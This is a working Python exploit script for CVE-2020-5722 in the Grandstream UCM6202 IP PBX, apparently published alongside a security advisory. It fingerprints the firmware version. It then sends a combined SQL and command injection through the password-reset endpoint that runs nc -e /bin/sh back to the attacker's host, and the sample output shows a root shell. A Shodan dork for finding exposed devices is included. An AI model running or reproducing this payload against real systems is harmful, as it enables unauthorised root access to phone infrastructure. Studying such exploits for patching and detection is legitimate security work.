# Exploit Title: UCM6202 1.0.18.13 - Remote Command Injection # Date: 2020-03-23 # Exploit Author: Jacob Baines # Vendor: http://www.grandstream.com # Product Link: http://www.grandstream.com/products/ip-pbxs/ucm-series-ip-pbxs/product/ucm6200-series # Tested on: UCM6202 1.0.18.13 # CVE : CVE-2020-5722 # Shodan Dork: ssl:"Grandstream" "Set-Cookie: TRACKID" # Advisory: https://www.tenable.com/security/research/tra-2020-15 # # Sample output: # albinolobster@ubuntu:~$ python3 pbx_sploit.py --rhost 192.168.2.1 --lhost 192.168.2.107 # [+] Sending getInfo request to https://192.168.2.1:8089/cgi # [+] Remote target info: # -> Model: UCM6202 # -> Version: 1.0.18.13 # [+] Vulnerable version! # [+] Sending exploit. Reverse shell to 192.168.2.107:1270 # # albinolobster@ubuntu:~$ nc -lvp 1270 # Listening on [] (family 2, port) # Connection from _gateway 41675 received! # whoami # root # uname -a # Linux UCM6202 3.0.35 #1 SMP PREEMPT Thu Jul 5 15:56:51 CST 2018 armv7l GNU/Linux ## import os import re import sys import json import argparse import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) top_parser = argparse.ArgumentParser(description='') top_parser.add_argument('--rhost', action="store", dest="rhost", required=True, help="The remote host to connect to") top_parser.add_argument('--rport', action="store", dest="rport", type=int, help="The remote port to connect to", default=8089) top_parser.add_argument('--lhost', action="store", dest="lhost", required=True, help="The local host to connect back to") top_parser.add_argument('--lport', action="store", dest="lport", type=int, help="The local port to connect back to", default=1270) args = top_parser.parse_args() url = 'https://' + args.rhost + ':' + str(args.rport) + '/cgi' print('[+] Sending getInfo request to ', url) try: resp = requests.post(url=url, data='action=getInfo', verify=False) except Exception: print('[-] Error connecting to remote target') sys.exit(1) if resp.status_code != 200: print('[-] Did not get a 200 OK on getInfo request') sys.exit(1) if resp.text.find('{ "response":') != 0: print('[-] Unexpected response') sys.exit(1) try: parsed_response = json.loads(resp.text) except Exception: print('[-] Unable to parse json response') sys.exit(1) print('[+] Remote target info: ') print('\t-> Model: ', parsed_response['response']['model_name']) print('\t-> Version: ', parsed_response['response']['prog_version']) match = re.match('^([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)$', parsed_response['response']['prog_version']) if not match: print('[-] Failed to extract the remote targets version') sys.exit(1) major = int(match[1]) minor = int(match[2]) point = int(match[3]) patch = int(match[4]) if (major > 1) or (major == 1 and minor > 0) or (major == 1 and minor == 0 and point > 19) or (major == 1 and minor == 0 and point == 19 and patch >= 20): print('[-] Unaffected version') sys.exit(1) else: print('[+] Vulnerable version!') print('[+] Sending exploit. Reverse shell to %s:%i' % (args.lhost, args.lport)) try: exploit = 'admin\' or 1=1--`;`nc${IFS}' + args.lhost + '${IFS}' + str(args.lport) + '${IFS}-e${IFS}/bin/sh`;`' resp = requests.post(url=url, data='action=sendPasswordEmail&user_name=' + exploit, verify=False) except Exception as err: print('[-] Failed to send payload') sys.exit(1) if resp.status_code != 200: print('[-] Did not get a 200 OK on sendPasswordEmail request') sys.exit(1) try: parsed_response = json.loads(resp.text) except Exception: print('[-] Unable to parse json response') sys.exit(1) if parsed_response['status'] == 0: print('[+] Success! Clean exit.') else: print('[-] Something bad happened.')